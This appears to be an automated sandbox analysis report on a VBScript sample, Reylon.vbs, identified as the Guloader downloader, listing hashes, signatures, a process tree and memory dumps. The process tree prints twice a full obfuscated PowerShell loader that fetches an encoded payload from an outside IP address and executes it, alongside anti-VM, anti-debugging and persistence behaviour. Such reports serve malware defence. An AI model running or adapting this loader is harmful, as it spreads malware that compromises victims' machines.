Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230703-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230703-enlocale:en-usos:windows10-2004-x64system
  • submitted
    12/07/2023, 09:23

General

  • Target

    Reylon.vbs

  • Size

    16KB

  • MD5

    5fcc423dd95776e7ce18ea1804b27118

  • SHA1

    85bbd202a7a2919cb4733c564dfd7c3ae2319510

  • SHA256

    82b08d87211f44c871d681e216fcd8ae33f485af2f6737011f187c5a56ac8c56

  • SHA512

    63c9f5e642da7de4d6aab845e3f9940bf23b13fd75be8cd55b4639a688a840b01ec2b7e7c42eba22347ab5061d1a5a0ba55bb528ac779d9e7820e324af83483f

  • SSDEEP

    384:cEYCB7v5QM+PUiStGvDQzX4FG0NClMgW8Q2T:c5CDkLKbW8zT

Malware Config

Signatures

  • Guloader,Cloudeye

    A shellcode based downloader first seen in 2020.

  • Blocklisted process makes network request 1 IoCs
  • Checks QEMU agent file 2 TTPs 2 IoCs

    Checks presence of QEMU agent, possibly to detect virtualization.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Adds Run key to start application 2 TTPs 2 IoCs
  • Suspicious use of NtCreateThreadExHideFromDebugger 2 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 9 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Reylon.vbs"
    1⤵
    • Blocklisted process makes network request
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1740
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "Function Diskussi9 ([String]$Fibrocysto){For($Apha=1; $Apha -lt $Fibrocysto.Length-1; $Apha+=(1+1)){$Laeserfo=$Laeserfo+$Fibrocysto.Substring($Apha, 1)};$Laeserfo;}$Unconfe=Diskussi9 'Wh t t pB: /V/D1 9 4 . 5L5 .W2 2T4D.M1B8B3D/TmMrKk / SBtoySr t h jteM2 0S. p f m ';$Laeserfo01=Diskussi9 'SiLe xK ';$Egenfinan = Diskussi9 'H\Bs y s waorw 6M4A\KWLi nBd oMwUsUPPoAwAe rSSEhGeFl l \vv 1R. 0 \UpHoewSe rMsBhFeBl lK.IeSx eD ';.($Laeserfo01) (Diskussi9 'G$ OGvIe rR2 =S$ e nMv : wRiDnsd i rA ') ;.($Laeserfo01) (Diskussi9 ' $SE gSe nFfBiFn aDn = $SOSv eIrF2N+I$ E gFe nOf i nja n ') ;.($Laeserfo01) (Diskussi9 'H$FTboLn iae rNgDaPt eu M= (f( gGwEmBiU w iRnR3E2G_SpArBoRcUe sAsu -KFE MP rDo cGe s sDI dc=A$U{VP IHDB}P)U. C oDmPm aPnPdULUiVn eC) -As pFlSi tG V[Dc h aArU]U3R4T ');.($Laeserfo01) (Diskussi9 'V$ F o cvaIlHoA U=K $ETSoKn iSefrEgRaKtMe [M$ATIo n iReQrCgIaGt e .BcSoSu nUtC-M2L] ');.($Laeserfo01) (Diskussi9 'I$CKPa mBm e rHtA=B( THeFsVt -KPIaSt h S$BE gKe n fSiCn aSnC)B - AUn dL A(T[QIPn tAPItCrD]H:R:Rs iUz eE - e qF L8 )B ') ;if ($Kammert) {.$Egenfinan $Focalo;} else {;$Laeserfo00=Diskussi9 'BSRt aGr tC-IBKi tKsET r aBnSsSf eCr -RS o uFr cBe r$cU n c o nRf e -SD e sStMi n aFtSi o nC P$ OSvpeKrs2C ';.($Laeserfo01) (Diskussi9 ' $UORv eRrM2E= $Me nFvP: a pHpIdCaLt aM ') ;.($Laeserfo01) (Diskussi9 'IITm pDoAr tC- Meo dOudlSe RB iStksBT rDaBn s f eFrG ') ;$Over2=$Over2+'\Fattenl.Stu';while (-not $Webs) {.($Laeserfo01) (Diskussi9 'L$BW e bBs =F( TSe s t - PEaHtTh L$GODvOe rK2H)S ') ;.($Laeserfo01) $Laeserfo00;.($Laeserfo01) (Diskussi9 'dSBt a rut - SEl efeEpU 5R ');}.($Laeserfo01) (Diskussi9 ' $ID iTsSk uRs s i S=S MGPeStA- CFoSnSt eHn tB $BORv eLrR2R ');.($Laeserfo01) (Diskussi9 'U$DAFbWiSlTl apgTe b r = P[sS ytsStPePmF.TCPobnBvDe rDt ] :O: F r oCm BRaKsAeS6 4PS tHr i nBgS( $nD iNsEk uOsUsTiP)a ');.($Laeserfo01) (Diskussi9 ' $ L aCe s eBr f oL2 =P [SS yOsAtneLm .STke xRtP.ME njc oBdMiBnSgS] :T: AFSFCFISI .RGCe t S tCr i n g ( $PAFbEi lKl aEg e b rT) ');.($Laeserfo01) (Diskussi9 ' $VNPa t ulrWgK= $kLXaAeUs eCrCfeo 2I. sEu b s tGrWi nEgA( 2Z1 0T8B3D1F,L1L9S0 6T2 ) ');.($Laeserfo01) $Naturg;}"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3396
      • C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "Function Diskussi9 ([String]$Fibrocysto){For($Apha=1; $Apha -lt $Fibrocysto.Length-1; $Apha+=(1+1)){$Laeserfo=$Laeserfo+$Fibrocysto.Substring($Apha, 1)};$Laeserfo;}$Unconfe=Diskussi9 'Wh t t pB: /V/D1 9 4 . 5L5 .W2 2T4D.M1B8B3D/TmMrKk / SBtoySr t h jteM2 0S. p f m ';$Laeserfo01=Diskussi9 'SiLe xK ';$Egenfinan = Diskussi9 'H\Bs y s waorw 6M4A\KWLi nBd oMwUsUPPoAwAe rSSEhGeFl l \vv 1R. 0 \UpHoewSe rMsBhFeBl lK.IeSx eD ';.($Laeserfo01) (Diskussi9 'G$ OGvIe rR2 =S$ e nMv : wRiDnsd i rA ') ;.($Laeserfo01) (Diskussi9 ' $SE gSe nFfBiFn aDn = $SOSv eIrF2N+I$ E gFe nOf i nja n ') ;.($Laeserfo01) (Diskussi9 'H$FTboLn iae rNgDaPt eu M= (f( gGwEmBiU w iRnR3E2G_SpArBoRcUe sAsu -KFE MP rDo cGe s sDI dc=A$U{VP IHDB}P)U. C oDmPm aPnPdULUiVn eC) -As pFlSi tG V[Dc h aArU]U3R4T ');.($Laeserfo01) (Diskussi9 'V$ F o cvaIlHoA U=K $ETSoKn iSefrEgRaKtMe [M$ATIo n iReQrCgIaGt e .BcSoSu nUtC-M2L] ');.($Laeserfo01) (Diskussi9 'I$CKPa mBm e rHtA=B( THeFsVt -KPIaSt h S$BE gKe n fSiCn aSnC)B - AUn dL A(T[QIPn tAPItCrD]H:R:Rs iUz eE - e qF L8 )B ') ;if ($Kammert) {.$Egenfinan $Focalo;} else {;$Laeserfo00=Diskussi9 'BSRt aGr tC-IBKi tKsET r aBnSsSf eCr -RS o uFr cBe r$cU n c o nRf e -SD e sStMi n aFtSi o nC P$ OSvpeKrs2C ';.($Laeserfo01) (Diskussi9 ' $UORv eRrM2E= $Me nFvP: a pHpIdCaLt aM ') ;.($Laeserfo01) (Diskussi9 'IITm pDoAr tC- Meo dOudlSe RB iStksBT rDaBn s f eFrG ') ;$Over2=$Over2+'\Fattenl.Stu';while (-not $Webs) {.($Laeserfo01) (Diskussi9 'L$BW e bBs =F( TSe s t - PEaHtTh L$GODvOe rK2H)S ') ;.($Laeserfo01) $Laeserfo00;.($Laeserfo01) (Diskussi9 'dSBt a rut - SEl efeEpU 5R ');}.($Laeserfo01) (Diskussi9 ' $ID iTsSk uRs s i S=S MGPeStA- CFoSnSt eHn tB $BORv eLrR2R ');.($Laeserfo01) (Diskussi9 'U$DAFbWiSlTl apgTe b r = P[sS ytsStPePmF.TCPobnBvDe rDt ] :O: F r oCm BRaKsAeS6 4PS tHr i nBgS( $nD iNsEk uOsUsTiP)a ');.($Laeserfo01) (Diskussi9 ' $ L aCe s eBr f oL2 =P [SS yOsAtneLm .STke xRtP.ME njc oBdMiBnSgS] :T: AFSFCFISI .RGCe t S tCr i n g ( $PAFbEi lKl aEg e b rT) ');.($Laeserfo01) (Diskussi9 ' $VNPa t ulrWgK= $kLXaAeUs eCrCfeo 2I. sEu b s tGrWi nEgA( 2Z1 0T8B3D1F,L1L9S0 6T2 ) ');.($Laeserfo01) $Naturg;}"
        3⤵
        • Checks QEMU agent file
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious behavior: MapViewOfSection
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1580
        • C:\Program Files (x86)\internet explorer\ieinstal.exe
          "C:\Program Files (x86)\internet explorer\ieinstal.exe"
          4⤵
          • Checks QEMU agent file
          • Adds Run key to start application
          • Suspicious use of NtCreateThreadExHideFromDebugger
          • Suspicious use of NtSetInformationThreadHideFromDebugger
          • Suspicious use of SetWindowsHookEx
          PID:3368

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_byf0oizh.rtb.ps1

          Filesize

          60B

          MD5

          d17fe0a3f47be24a6453e9ef58c94641

          SHA1

          6ab83620379fc69f80c0242105ddffd7d98d5d9d

          SHA256

          96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

          SHA512

          5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

        • memory/1580-168-0x0000000007E50000-0x00000000084CA000-memory.dmp

          Filesize

          6.5MB

        • memory/1580-171-0x0000000007800000-0x0000000007822000-memory.dmp

          Filesize

          136KB

        • memory/1580-182-0x0000000009030000-0x000000000C9F7000-memory.dmp

          Filesize

          57.8MB

        • memory/1580-181-0x0000000007CD0000-0x0000000007CD1000-memory.dmp

          Filesize

          4KB

        • memory/1580-150-0x0000000002D00000-0x0000000002D36000-memory.dmp

          Filesize

          216KB

        • memory/1580-151-0x0000000002D40000-0x0000000002D50000-memory.dmp

          Filesize

          64KB

        • memory/1580-152-0x00000000056F0000-0x0000000005D18000-memory.dmp

          Filesize

          6.2MB

        • memory/1580-153-0x0000000005D70000-0x0000000005D92000-memory.dmp

          Filesize

          136KB

        • memory/1580-154-0x0000000005E20000-0x0000000005E86000-memory.dmp

          Filesize

          408KB

        • memory/1580-155-0x0000000005E90000-0x0000000005EF6000-memory.dmp

          Filesize

          408KB

        • memory/1580-165-0x0000000002D40000-0x0000000002D50000-memory.dmp

          Filesize

          64KB

        • memory/1580-166-0x0000000006600000-0x000000000661E000-memory.dmp

          Filesize

          120KB

        • memory/1580-167-0x0000000002D40000-0x0000000002D50000-memory.dmp

          Filesize

          64KB

        • memory/1580-179-0x0000000002D40000-0x0000000002D50000-memory.dmp

          Filesize

          64KB

        • memory/1580-178-0x0000000002D40000-0x0000000002D50000-memory.dmp

          Filesize

          64KB

        • memory/1580-169-0x0000000006BB0000-0x0000000006BCA000-memory.dmp

          Filesize

          104KB

        • memory/1580-177-0x0000000002D40000-0x0000000002D50000-memory.dmp

          Filesize

          64KB

        • memory/1580-172-0x0000000008A80000-0x0000000009024000-memory.dmp

          Filesize

          5.6MB

        • memory/1580-173-0x0000000007C30000-0x0000000007C44000-memory.dmp

          Filesize

          80KB

        • memory/1580-170-0x00000000078A0000-0x0000000007936000-memory.dmp

          Filesize

          600KB

        • memory/3368-183-0x0000000001000000-0x00000000049C7000-memory.dmp

          Filesize

          57.8MB

        • memory/3368-184-0x0000000001000000-0x00000000049C7000-memory.dmp

          Filesize

          57.8MB

        • memory/3368-186-0x0000000001000000-0x00000000049C7000-memory.dmp

          Filesize

          57.8MB

        • memory/3396-174-0x000001F1A99F0000-0x000001F1A9A00000-memory.dmp

          Filesize

          64KB

        • memory/3396-176-0x000001F1A99F0000-0x000001F1A9A00000-memory.dmp

          Filesize

          64KB

        • memory/3396-175-0x000001F1A99F0000-0x000001F1A9A00000-memory.dmp

          Filesize

          64KB

        • memory/3396-147-0x000001F1A99F0000-0x000001F1A9A00000-memory.dmp

          Filesize

          64KB

        • memory/3396-142-0x000001F1C1E80000-0x000001F1C1EA2000-memory.dmp

          Filesize

          136KB

        • memory/3396-149-0x000001F1A99F0000-0x000001F1A9A00000-memory.dmp

          Filesize

          64KB

        • memory/3396-148-0x000001F1A99F0000-0x000001F1A9A00000-memory.dmp

          Filesize

          64KB